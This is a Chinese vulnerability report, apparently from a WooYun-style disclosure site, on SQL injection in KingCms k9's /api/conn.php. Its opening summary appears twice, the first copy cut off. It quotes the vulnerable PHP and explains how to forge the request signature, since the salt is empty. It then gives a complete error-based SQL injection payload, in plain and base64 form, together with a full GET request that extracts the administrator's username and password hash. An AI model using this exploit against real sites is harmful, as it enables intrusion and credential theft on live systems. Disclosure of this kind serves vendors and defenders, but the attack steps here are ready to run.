### 简要描述: KingCms最新版(k9)绕过过滤6处注入打包 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 注入点:GET /api/conn.php?USERID=MTAwMDA%3D&data=U0VMRUNUIG1pZCxtbmFtZSxtdGFibGUgRlJPTSBraW5nX2NvbnRlbnRfbW9kZWwgVU5JT04gU0VMRUNUIDEgRlJPTShTRUxFQ1QgQ09VTlQoKiksQ09OQ0FUKDB4MjMsKFNFTEVDVCBjb25jYXQodXNlcm5hbWUsMHgyMyx1c2VycGFzcylGUk9NIGtpbmdfdXNlciBMSU1JVCAwLDEpLDB4MjMsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLnRhYmxlcyBHUk9VUCBCWSB4KWE%3d&jsoncallback=jsonp1426001109856&SIGN=9e64da1bfad93ed03ac42e0522cad92d&_=1426001137223 HTTP/1.1 这个注入点比较奇怪,因为数据库执行的语句全部都由用户输入,虽然有注入过滤,但是base64_decode后轻松绕过了。 注入参数:data_one,data,count,newid,getdir,getfile 下面以data为例进行说明 问题文件在/api/conn.php ``` $str=new str; $db=new db; $file=new file; if(empty($get['SIGN'])) exit($jsoncallback.'('.json_encode(array('error'=>'丢失密文,禁止解析!')).')'); //验证权限 $sign=$get['SIGN'];...
### 简要描述: KingCms最新版(k9)绕过过滤6处注入打包 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 注入点:GET /api/conn.php?USERID=MTAwMDA%3D&data=U0VMRUNUIG1pZCxtbmFtZSxtdGFibGUgRlJPTSBraW5nX2NvbnRlbnRfbW9kZWwgVU5JT04gU0VMRUNUIDEgRlJPTShTRUxFQ1QgQ09VTlQoKiksQ09OQ0FUKDB4MjMsKFNFTEVDVCBjb25jYXQodXNlcm5hbWUsMHgyMyx1c2VycGFzcylGUk9NIGtpbmdfdXNlciBMSU1JVCAwLDEpLDB4MjMsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLnRhYmxlcyBHUk9VUCBCWSB4KWE%3d&jsoncallback=jsonp1426001109856&SIGN=9e64da1bfad93ed03ac42e0522cad92d&_=1426001137223 HTTP/1.1 这个注入点比较奇怪,因为数据库执行的语句全部都由用户输入,虽然有注入过滤,但是base64_decode后轻松绕过了。 注入参数:data_one,data,count,newid,getdir,getfile 下面以data为例进行说明 问题文件在/api/conn.php ``` $str=new str; $db=new db; $file=new file; if(empty($get['SIGN'])) exit($jsoncallback.'('.json_encode(array('error'=>'丢失密文,禁止解析!')).')'); //验证权限 $sign=$get['SIGN']; unset($get['SIGN'],$get['_'],$get['jsoncallback']); $arr=array(); foreach($get as $key => $val){ $arr[$key]=$key.'='.urlencode($val); } ksort($arr); $param=implode('&',$arr); $sign1=md5($param.kc_config('system.salt')); if($sign!=$sign1) exit($jsoncallback.'('.json_encode(array('error'=>'审核失败,数据不一致!')).')'); $arr=array(); $get=array_map('base64_decode',$get); foreach($get as $key=>$val){ if(substr($key,0,8)=='data_one'){ $arr[$key]=$db->get_one($val); }elseif(substr($key,0,4)=='data'){ $arr[$key]=$db->get($val); }elseif(substr($key,0,5)=='count'){ $res=$db->get($val); $arr[$key]=empty($res[0]['c']) ? 0 : $res[0]['c']; }elseif(substr($key,0,5)=='newid'){ list($table,$id)=explode('|',$val,2); $arr[$key]=$db->newid($table,'',$id); }elseif(substr($key,0,6)=='getdir'){ list($path,$filetype)=explode('|',$val,2); if(empty($filetype)) $filetype='*'; $arr[$key]=$file->getDir($path,$filetype); }elseif(substr($key,0,7)=='getfile'){ $arr[$key]=$file->get($val); }elseif(substr($key,0,6)=='config'){ $arr[$key]=kc_config($val); }elseif(substr($key,0,6)=='isfile'){ $arr[$key]=is_file(ROOT.$val)?1:0; } } ``` 首先要绕过上面代码中的权限判断,其实就是计算出$sign1,然后使$_GET[‘SIGN’]与之相等即可。来看看$sign1是如何计算出来的 ``` foreach($get as $key => $val){ $arr[$key]=$key.'='.urlencode($val); } ksort($arr); $param=implode('&',$arr); $sign1=md5($param.kc_config('system.salt')); ``` 参与计算的参数只有kc_config('system.salt')不是用户输入的,但是kingcms的这个参数是空,此因所有参与计算的参数都是用户输入的,按上面的算法简单计算一下就知道$sign1了,然后输入的$_GET[‘SIGN’]等于$sign1即可绕过权限判断。 然后执行下面的代码,没有再过滤了 ``` public function get($sql) { $res=array(); $this->query($sql); if (empty($this->query_ID)) { return array(); } $rows=mysql_num_rows($this->query_ID); for($i=0;$i<$rows;$i++) { if(!mysql_data_seek($this->query_ID,$i)) { kc_tip('<textarea>'.htmlspecialchars($_sql).'</textarea>'); } $rs=mysql_fetch_array($this->query_ID); foreach ($rs as $k=>$r) { if (is_int($k) && $k!==0) { unset($rs[$k]); } } $res[$i]=$rs; } //释放资源 $this->free(); return $res; } ``` 提交的payload要经过base64_decode处理,因此在提交前先base64_encode一下就可以了。 Kingcms可以报错,因此 编码前Payload: ``` SELECT mid,mname,mtable FROM king_content_model UNION SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,userpass)FROM king_user LIMIT 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a ``` 编码后Payload: ``` U0VMRUNUIG1pZCxtbmFtZSxtdGFibGUgRlJPTSBraW5nX2NvbnRlbnRfbW9kZWwgVU5JT04gU0VMRUNUIDEgRlJPTShTRUxFQ1QgQ09VTlQoKiksQ09OQ0FUKDB4MjMsKFNFTEVDVCBjb25jYXQodXNlcm5hbWUsMHgyMyx1c2VycGFzcylGUk9NIGtpbmdfdXNlciBMSU1JVCAwLDEpLDB4MjMsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLnRhYmxlcyBHUk9VUCBCWSB4KWE%3d ``` 注入成功,见下图 [<img src="https://images.seebug.org/upload/201503/10235913733c52d9a7aa73564678149faa8e221e.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/10235913733c52d9a7aa73564678149faa8e221e.jpg) ### 漏洞证明: 见 详细说明